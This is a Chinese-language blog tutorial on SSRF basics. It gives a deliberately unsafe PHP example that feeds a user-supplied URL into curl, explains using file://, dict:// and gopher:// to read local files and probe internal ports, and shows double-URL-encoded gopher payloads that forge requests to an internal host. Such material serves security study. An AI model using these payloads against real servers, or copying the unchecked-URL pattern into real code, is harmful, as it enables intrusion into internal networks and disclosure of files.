ssrf漏洞基础

ssrf server-side request forgery
服务端请求伪造 , 由服务器发起请求,服务器提供了向其他服务器索取数据的功能,索取数据的服务器未
对索取主机、索取资源进行限制;
输入 url 访问站点 xxx.com------------ xxx.com 接收请求后 -------- xx2.com 发送索取数据请求
csrf&ssrf: 用户为受害者 & 用户为攻击者
php 中常见于 curl_exec file-get-content 函数使用不当
ssrf 与协议:
<? php
function curl ( $url ){
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , $url );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );
curl_exec ( $ch );
curl_close ( $ch );
}
@$url = $_GET [ 'url' ];
curl ( $url );
?>
通过 curl 获取资源
url= 任意网站 url
url= 访问自身的敏感文件
读取文件 file:// 绝对路径
探测本地端口 http:// dict://
gopher 协议与 ssrf
使用限制
php>5.3 curl 低版本无法使用, java jdk<1.7
查看自己的 web 服务器是否支持 gopher 协议:
gopher // 协议格式
gopher://<host>:<port>/<gopher_path>_ 数据 注 :_ 可被除了 $ # 等特殊字符以外的任意字符替
gopher 默认端口 70
发送 GET/POST 请求时对特殊符号需要 url 编码
gopher 协议发送 GET 请求数据包
get.php 源码如下
对数据包进行 url 编码
http 数据包中,需要 %0d%0a 来分隔每一行
gopher 协议发送 POST 请求数据包
post 源码如下
注: post 请求需要请求头中的 content-type application/x-www-form-urlencoded
请求体和请求头之间需要两组 %0d%0a
gopher 协议结合 ssrf 漏洞时要对特殊字符等进行二次 url 编码
二次 url
%25%34%37%25%34%35%25%35%34%25%32%30%25%32%66%25%36%37%25%36%35%25%37%34%25%32%6
5%25%37%30%25%36%38%25%37%30%25%33%66%25%36%31%25%33%64%25%33%31%25%33%32%25%33%
33%25%33%34%25%33%34%25%33%34%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33
%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%32%30%25%3
4%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%
30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%39%25
%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%30%25%32%65%2
5%33%31%25%33%32%25%33%38%25%30%64%25%30%61
一次 url
%47%45%54%20%2f%67%65%74%2e%70%68%70%3f%61%3d%31%32%33%34%34%34%35%35%35%35%35%3
5%35%35%35%35%35%35%35%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%
32%2e%31%36%38%2e%31%30%2e%31%32%38%0d%0a
原始数据
GET /get.php ?a = 1234445555555555555 HTTP/1.1
Host: 192 .168.10.128
第一层 url 会在漏洞服务端解析,第二层 url 则在内网的 web 服务器中解析
  • 27
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值